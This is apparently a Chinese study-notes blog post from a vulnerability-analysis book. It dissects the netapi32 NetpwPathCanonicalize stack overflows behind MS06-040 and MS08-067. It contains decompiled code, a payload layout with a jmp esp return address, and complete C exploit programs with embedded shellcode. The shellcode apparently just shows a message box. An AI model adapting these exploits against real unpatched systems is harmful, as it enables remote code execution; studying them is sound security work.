第0章-栈溢出-ms06040与ms08067漏洞分析与利用

刚进大学就被老师一手enter入侵开摄像头惊到了,后来搭建很多环境都没复现,最终只能在老师给的专用靶机上成功,于是果断的选择了web向,现在又”重回”二进制,来重啃08067吧,也作为漏洞分析学习的第一篇。(PS:这的确是第一篇,7月末开始写,然后一耽搁就一直拖到现在了)

RPC漏洞

RPC就是Remote Procedure Call(远程过程调用),客户端只需要指定参数给服务端(传输等细节都被封装好了),服务端执行函数并返回结果给客户端。

厉不厉害?流不流弊?害不害怕!,you think think,千里之外getshell呐,正宗的远程代码执行,正宗的RCE!System权限呐!好吧,开始分析~

MS06-040

学08067先学06040,他们漏洞出现在同一个函数里,06040几乎影响当时全部windows系统,含Windows 2000/Xp/2003及各SP版本。它出现在netapi32.dll导出的NetpwPathCanonicalize()函数里,而此函数又可以被远程调用。

Windows 2000 SP4

漏洞分析

上面说了,是netapi32的导出函数,直接打开阿达加载库文件,在导出表里面找到此函数,F5反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __stdcall NetpwPathCanonicalize(LPCWSTR pathName, LPCWSTR dstPath, int dstLength, LPCWSTR prefix, int pathType, int pathFlags)
{
wchar_t *prefix2; // ebx@1
int v7; // esi@3
LPCWSTR v8; // eax@5
int result; // eax@6

prefix2 = (wchar_t *)prefix;
v7 = !prefix || !*prefix; // 前缀不为空时v7为0
v8 = *(LPCWSTR *)pathType; // 这个hin重要,pathType是否为0决定v8,而这整个函数都是远程调用,即所有参数都是自己指定,故可控制它为非0
prefix = *(LPCWSTR *)pathType;
if ( pathFlags & 0x7FFFFFFE )
{
result = 87;
}
else if ( v8 || (result = NetpwPathType(pathName, (int)&prefix, 0)) == 0 )//v8不为0时,逻辑短路,导致不会验证pathName
{
if ( v7 || (result = NetpwPathType(prefix2, (int)&pathFlags, 0)) == 0 )//v7为0,会验证prefix,里面还限制了长度不超过0x206 Bytes
{
if ( dstLength )
{
*dstPath = 0;
result = scat(prefix2, (wchar_t *)pathName, (wchar_t *)dstPath, dstLength, 0);//跟进此函数,发现它存在栈溢出
if ( !result )
result = NetpwPathType(dstPath, pathType, 0);
}
else
{
result = 2123;
}
}
}
return result;
}

现在来看看scat这个函数,它的作用就是把两个路径连接在一起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __stdcall scat(wchar_t *prefix, wchar_t *pathName, wchar_t *dstPath, int dstLength, int *dstSize)
{
size_t tmpLen; // esi@1
size_t prefixLength; // eax@2
__int16 v7; // ax@4
int result; // eax@14
int v9; // eax@15
__int16 v10; // [sp+Ah] [bp-416h]@4
wchar_t buffer; // [sp+Ch] [bp-414h]@4 //空间为414h字节

tmpLen = 0;
if ( prefix )
{
prefixLength = wcslen(prefix); //获取宽字节长度
tmpLen = prefixLength;
if ( prefixLength )
{
if ( prefixLength > 0x411 ) //判断长度,由于使用宽字节,这里实际是是否大于828h Bytes
return 0x7B;
wcscpy(&buffer, prefix); //本来这里就可以溢出的,但是prefix传入前就限制了大小为206h Bytes
v7 = *(&v10 + tmpLen);
if ( v7 != '\\' && v7 != '/' )
{
wcscat(&buffer, L"\\");
++tmpLen;
}
if ( *pathName == '\\' || *pathName == '/' )
++pathName;
}
}
else
{
buffer = 0;
}
if ( tmpLen + wcslen(pathName) > 0x411 ) //存在同样问题,由于prefix最长为0x206 Bytes,故pathName最短可以为`411hx2-206h`Bytes字节,可以成功溢出
return 0x7B;
wcscat(&buffer, pathName); //又一个溢出点,还是可以利用的溢出点!!至于后面,只需看看是否会破坏缓冲区就好了,其他不用关心
ftz((int)&buffer);
if ( !sub_7518AEB3(&buffer) && !sub_7518AFE2(&buffer) )
return 0x7B;
v9 = 2 * wcslen(&buffer) + 2; //很好奇上面不是故意留的后门,这里注意到了问题,下面长度不会超出限制
if ( v9 <= (unsigned int)dstLength )
{
wcscpy(dstPath, &buffer);
result = 0;
}
else
{
if ( dstSize )
*dstSize = v9;
result = 0x84B;
}
return result;
}

漏洞利用

  1. 由于在2000系统上,没有什么防护,所以返回地址处可使用一个jmp esp作为地址
  2. 这个函数有5个参数,其中第1 2 个参数要能读数据,第3 5个参数要能写数据,在溢出后这些地址会被破坏,但是溢出后返回前还会用到第三个参数,也可能用到第五个参数,若是此时出现访问异常将会转到SEH而不会返回,因此需要把它们写上可读写的地址。
  3. 返回弹出0x14字节,于是需要把部分shellcode再后移
    返回处
  4. 最终的shellcode还是从buffer开始,于是要做个短跳转
  5. ret - buffer = 418h Bytes
    最终shellcode如下:
    1
    2
    3
    4
    5
    6
    7
    8
    ret = '74fb62c3'                        #jmp esp指令地址
    prefix = '\x90'*? + shellcode +'\0\0' #长度刚好为0x100 Bytes
    path = '\x90'*792 #长度0x318 Bytes
    path += p32(ret) #加上返回地址
    path += '\x04\xd0\xfd\x7f'*5 #加上可写地址作为参数
    path += '\x66\x81\xec\x30\x04' #sub esp,430
    path += '\xff\xe4' #jmp esp 短跳转
    path += '\x00\x00' #结束

    Windows xp Sp0-1

    还是这个函数,但是做了一些修补了:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    int __stdcall scat(wchar_t *prefix, wchar_t *pathName, wchar_t *dstPath, int dstLength, int dstSize)
    {
    size_t v5; // esi@1
    wchar_t *v6; // eax@4
    size_t v7; // eax@9
    int result; // eax@10
    size_t v9; // eax@13
    __int16 v10; // ax@15
    __int16 v11; // [sp+Ah] [bp-416h]@15
    wchar_t v12; // [sp+Ch] [bp-414h]@2

    v5 = 0;
    if ( prefix ) //prefix是指针,若它不为空将进入
    {
    v9 = wcslen(prefix); //若prefix指向的地址为空串,那么它的长度为0
    v5 = v9;
    if ( v9 ) //长度为零不会进入
    {
    if ( v9 > 0x208 ) //看到这里比较的长度已经变小了一半,之前是0x411
    return 123;
    wcscpy(&v12, prefix);
    v10 = *(&v11 + v5);
    if ( v10 != 92 && v10 != 47 )
    {
    wcscat(&v12, &word_71BDDD94);
    ++v5;
    }
    if ( *pathName == 92 || *pathName == 47 )
    ++pathName;
    }
    }
    else
    {
    v12 = 0; //当prefix不为空指针,将不会执行这句话
    }
    if ( v5 + wcslen(pathName) > 0x207 ) //当prefix指向一个空串,v5为0,path最长为40eh Bytes
    return 123;
    wcscat(&v12, pathName); //当prefix指向一个空串,v12还没有进行初始化
    v6 = &v12;
    if ( v12 )
    {
    do
    {
    if ( *v6 == 47 ) //同上的注意点,shellcode若是含有47将被改为92
    *v6 = 92;
    ++v6;
    }
    while ( *v6 );
    }
    if ( !sub_71BA41DA() && !sub_71BA434E(&v12) )
    return 123;
    v7 = 2 * wcslen(&v12) + 2;
    if ( v7 > dstLength )
    {
    if ( dstSize )
    *(_DWORD *)dstSize = v7;
    result = 2123; //当v7长度大于dstLength时返回2123,而dstLength是用户可控的
    }
    else
    {
    wcscpy(dstPath, &v12);
    result = 0;
    }
    return result;
    }
    如上,若是在prefix在为空串时,此函数也会被调用,那么这就是一个可利用的点,那再看看上层可以直接被调用的函数:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    int __stdcall NetpwPathCanonicalize(LPCWSTR a1, LPCWSTR lpWideCharStr, int a3, LPCWSTR prefix, int a5, int a6)
    {
    wchar_t *v6; // ebx@1
    int v7; // esi@2
    LPCWSTR v8; // eax@3
    int result; // eax@5

    v6 = (wchar_t *)prefix;
    v7 = !prefix || !*prefix; //当prefix指向空串,那么v7为1
    v8 = *(LPCWSTR *)a5;
    prefix = *(LPCWSTR *)a5;
    if ( a6 & 0x7FFFFFFE )
    {
    result = 87;
    }
    else if ( v8 || (result = NetpwPathType(a1, (int)&prefix, 0)) == 0 )
    {
    if ( v7 || (result = NetpwPathType(v6, (int)&a6, 0)) == 0 )
    {
    if ( a3 )
    {
    *lpWideCharStr = 0;
    result = scat(v6, (wchar_t *)a1, (wchar_t *)lpWideCharStr, a3, 0); //当v7为1时,会调用下面的函数
    if ( !result ) //result非0,将不会调用下面的函数
    result = NetpwPathType(lpWideCharStr, a5, 0);
    }
    else
    {
    result = 2123;
    }
    }
    }
    return result;
    }
    如注释,看出是可以利用的

    漏洞利用

  6. shellcode和之前差不多,只是触发漏洞的方式变了
  7. 先调用NetpwPathCanonicalize将前半部数据写入,dstLength的大小设置小一点,使scat返回失败,使外层函数不再调用其他函数而返回,保持堆栈完整性
  8. 再次调用NetpwPathCanonicalize将后半部数据写入,prefix设为一个空串,这样就利用未初始化漏洞成功溢出了
    书上的演示代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    #include <windows.h>

    typedef void (__stdcall * MYPROC)(LPTSTR);

    #define PATH1_SIZE (0xc2*2)
    #define PATH2_SIZE (0x150*2)
    #define OUTBUF_SIZE 0x440
    #define PREFIX_SIZE 0x410

    int main()
    {
    char PathName1[PATH1_SIZE];
    char PathName2[PATH2_SIZE];
    char Outbuf[OUTBUF_SIZE];
    int OutbufLen=OUTBUF_SIZE;
    char Prefix1[PREFIX_SIZE];
    char Prefix2[PREFIX_SIZE];
    long PathType1=44;
    long PathType2=44;

    //load vulnerability netapi32.dll which we got from a WINXP sp0 host
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";

    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

    // fill PathName
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,'a',sizeof(PathName1)-2);

    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,'b',sizeof(PathName2)-2);

    // set Prefix as a null string
    memset(Prefix1,0,sizeof(Prefix1));
    memset(Prefix2,0,sizeof(Prefix2));

    // call NetpwPathCanonicalize several times to overflow
    (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
    (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);

    FreeLibrary(LibHandle);
    }

    MS08-067

    终于来到了这里,08067呀,学过metasploit的都知道吧,终于可有机会接触这个洞的原理了

    漏洞分析

    出现在NetpwPathCanonicalize()函数里的scat()函数里的sub_5FDDA26B()里…..它是将连接的buffer串做些其他操作再返回:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    int __stdcall scat(wchar_t *a1, wchar_t *a2, int a3, int a4, int a5)
    {
    wchar_t *v5; // ebx@1
    size_t v6; // edi@1
    size_t v7; // eax@3
    int v8; // edi@3
    int result; // eax@4
    wchar_t *v10; // eax@5
    size_t v11; // eax@10
    size_t v12; // eax@14
    __int16 v13; // ax@16
    wchar_t *v14; // [sp+10h] [bp-41Ch]@1
    wchar_t v15; // [sp+14h] [bp-418h]@2

    v5 = a2;
    v14 = (wchar_t *)a3;
    v6 = 0;
    if ( a1 && *a1 ) //看到变量未初始化漏洞也已经被修复了
    {
    v12 = wcslen(a1);
    v6 = v12;
    if ( v12 )
    {
    if ( v12 > 0x208 )
    return 123;
    wcscpy(&v15, a1);
    v13 = LOWORD((&v14)[v6 + 1]);
    if ( v13 != 92 && v13 != 47 )
    {
    wcscat(&v15, &word_5FDECBD4);
    ++v6;
    }
    if ( *a2 == 92 || *a2 == 47 )
    v5 = a2 + 1;
    }
    }
    else
    {
    v15 = 0;
    }
    v7 = wcslen(v5);
    v8 = v7 + v6;
    if ( v8 < v7 || (unsigned int)v8 > 0x207 )
    return 123;
    wcscat(&v15, v5);
    v10 = &v15;
    if ( v15 )
    {
    do
    {
    if ( *v10 == 47 )
    *v10 = 92;
    ++v10;
    }
    while ( *v10 );
    }
    if ( !sub_5FDD9F7A() && !sub_5FDDA26B(&v15) ) //这里调用了sub_5FDDA26B(&v15),若运行到这里并且返回值为0则程序直接返回
    return 123;
    v11 = 2 * wcslen(&v15) + 2;
    if ( v11 > a4 )
    {
    if ( a5 )
    *(_DWORD *)a5 = v11;
    result = 2123;
    }
    else
    {
    wcscpy(v14, &v15);
    result = 0;
    }
    return result;
    }
    那么跟进sub_5FDDA26B(&v15)查看下里面到底做了什么:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    int __stdcall sub_5FDDA26B(wchar_t *path)
    {
    wchar_t *pathbak; // ecx@1
    wchar_t path_0; // ax@1
    wchar_t *v3___000; // ebx@1
    wchar_t *v4; // edi@1
    wchar_t *v5; // esi@3
    int v6; // eax@10
    wchar_t v7; // dx@10
    wchar_t v8; // bx@11
    wchar_t path_1; // dx@17
    wchar_t *i; // ecx@18
    wchar_t tmpChar; // ax@19
    wchar_t *j; // eax@34
    wchar_t *v14; // ecx@41
    wchar_t *v15; // [sp+Ch] [bp-4h]@1

    pathbak = path;
    path_0 = *path;
    v3___000 = 0;
    v4 = 0;
    v15 = 0;

    /*处理串
    1.串为{\\+} 返回0
    2.串为{\\+abc.*} 不对前面的\\+处理,把指针移到abc那里去
    */
    if ( *path == '\\' || path_0 == '/' )
    {
    path_1 = path[1];
    if ( path_1 == '\\' || path_1 == '/' )
    {
    for ( i = path + 2; ; ++i )
    {
    tmpChar = *i;
    if ( *i == '\\' || tmpChar == '/' )
    break;
    if ( !tmpChar )
    return 0;
    }
    if ( !*i )
    return 0;
    pathbak = i + 1;
    path_0 = *pathbak;
    path = pathbak;
    if ( *pathbak == '\\' || path_0 == '/' )
    return 0;
    }
    }

    v5 = pathbak;
    if ( !path_0 )
    return 1;

    while ( 1 )
    {
    if ( path_0 == '\\' )
    {
    if ( v3___000 == v5 - 1 )
    return 0;
    v4 = v3___000; //v4为离指针隔了一个文件夹的'\\'地址
    v15 = v5; //v5位遍历指针p,用于遍历直到发现"..\"
    goto LABEL_6;
    }
    if ( path_0 != '.' || v3___000 != v5 - 1 && v5 != pathbak )
    goto LABEL_6;
    v6 = (int)(v5 + 1);
    v7 = v5[1];
    if ( v7 == 46 )
    {
    v8 = v5[2];
    if ( v8 == '\\' || !v8 )
    {
    if ( !v4 )
    return 0;
    wcscpy(v4, v5 + 2);
    if ( !v8 )
    return 1;
    v15 = v4;
    v5 = v4;
    for ( j = v4 - 1; *j != 92 && j != path; --j )
    //这个指针有问题呀,它向前跑直到遇到92即'\\'或者是path,而j的初始值呢,又是v4-1,要是v4=path,且path之前没有'\\'了,
    //那么j就会一直向前搜索,直到找到92
    ;
    pathbak = path;
    v4 = (wchar_t *)(*j == 92 ? (unsigned int)j : 0);
    }
    goto LABEL_6;
    }
    if ( v7 != 92 )
    break;
    if ( v3___000 )
    {
    v14 = v3___000;
    }
    else
    {
    v6 = (int)(v5 + 2);
    v14 = v5;
    }
    wcscpy(v14, (const wchar_t *)v6);
    pathbak = path;
    LABEL_7:
    path_0 = *v5;
    if ( !*v5 )
    return 1;
    v3___000 = v15;
    }
    if ( v7 )
    {
    LABEL_6:
    ++v5;
    goto LABEL_7;
    }
    if ( v3___000 )
    v5 = v3___000;
    *v5 = 0;
    return 1;
    }
    上面的代码的作用是精简路径,效果如下:

    但是它的算法存在漏洞,例如输入串:

    崩了就对了!而崩溃的原因如上代码中所注释:
    路径可以以\开头,此时v5从path+2开始,否则从path开始,若是遇到一个\赋给v15,在之后遇到其他字符时将v15赋给v4,故v4指向距v5隔一个文件夹的距离,v5继续遍历当遇到..\时将v4覆盖为v5+2,接着j=v4-1,j向前遍历直到j为\或者j等于path,再将j赋值给v4,问题就在于若v4本来就指向了path那么j会出现在path之前,它将会继续向前遍历直到遇到\,然后将..\覆盖到这里来

    如上图,可以看到已经读到字符串前面的数据了,可能会感到迷惑,向前任意写数据有什么意义,这就要看这个函数的参数了,它是一个地址,指向调用者栈帧,那么向前写数据就能写到本函数的返回地址处。
    再来理理触发漏洞的方法,正常情况下,如:*
    \a\..\b\..\1234**
  9. v4 -> \a\..\b\..\1234
    v5 -> ..\b\..\1234
    进行简化
    v4 -> \b\..\1234
    j = v4-1;j——————-
    v4 = j; #此时v4指向了一个比字符串起始位置还低的位置
  10. v5 -> \b\..\1234
    v5 -> b\..\1234
    v5 -> \..\1234
    v5 -> ..\1234
    v4 -> v3___000 -> v15 #最近的\,这里更新了v4地址,就不会出现什么错误
    ……

再看看异常情况,如:\a\..\..\1234456789

  1. v4 -> \a\..\..\1234456789
    v5 -> ..\..\123456789
    进行简化
    v4 -> \..\123456789
    j = v4 - 1;j——————
    v4 = j; #此时v4指向了一个比字符串起始位置还低的位置
  2. v5 -> \..\123456789
    v5 -> ..\123456789
    简化操作,覆盖。。。

    漏洞利用

    从上面可以看出漏洞发生在sub_5FDDA26B()里,但是触发是在其内部调用的wcscpy()里,是传入了错误的目标地址,使用户输入被写入到错误的地址,要利用它,用户输入已经完全可控,那关键就是这个错误的目标地址,要让它成为合适的目标地址,使复制进去的shellcode刚好覆盖wcscpy栈的内存地址,精准覆盖返回而获取控制权:

    寻找’/‘

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    #include <windows.h>
    #include <stdio.h>

    typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);

    int main(int argc, char* argv[])
    {
    WCHAR path[256];
    WCHAR can_path[256];
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibrary(".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
    wprintf(L"Fail to load library!\n");
    return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
    FreeLibrary(handle);
    wprintf(L"Fail to get api address!\n");
    return -1;
    }

    path[0] = 0;
    wcscpy(path, L"\\aaa\\..\\..\\bbbb");
    can_path[0] = 0;
    type = 1000;
    __asm{
    int 3
    } ;

    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);

    FreeLibrary(handle);
    return 0;
    }
    使用od调试查看’\‘的地址:

    计算偏移,写exp

    看到’\‘地址为12F54Eh,当前栈指针为12F63Ch,接着继续令其调用wcscpy后观察:

    看到当前函数返回地址为12F630h,目标地址为12F54Eh,源地址指向的字符串已经被‘吃掉’了\\aaa\\..,那么就可以计算出返回地址偏移等关键信息,写出exp:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    #include <windows.h>
    #include <stdio.h>

    typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);

    // address of jmp esp
    #define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"

    //shellcode
    #define SHELL_CODE \
    "\x90\x90\x90\x90" \
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"

    int main(int argc, char* argv[])
    {
    WCHAR path[256];
    WCHAR can_path[256];
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibrary(".\\netapi32.dll");
    MYPROC Trigger = NULL;

    if (NULL == handle)
    {
    wprintf(L"Fail to load library!\n");
    return -1;
    }

    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
    FreeLibrary(handle);
    wprintf(L"Fail to get api address!\n");
    return -1;
    }

    path[0] = 0;
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, JMP_ESP);
    wcscat(path, SHELL_CODE);
    can_path[0] = 0;
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);

    FreeLibrary(handle);

    return 0;
    }

注:这个漏洞和普通的栈溢出不一样,它在”一定程度上”它可以控制溢出起始位置,于是或许可以无视GS保护,若是这种控制不现实,这里也很幸运能利用成功因为wcscpy函数并没有保护。

来源

本篇是《0day安全:软件漏洞分析技术》学习笔记,内容来自本书。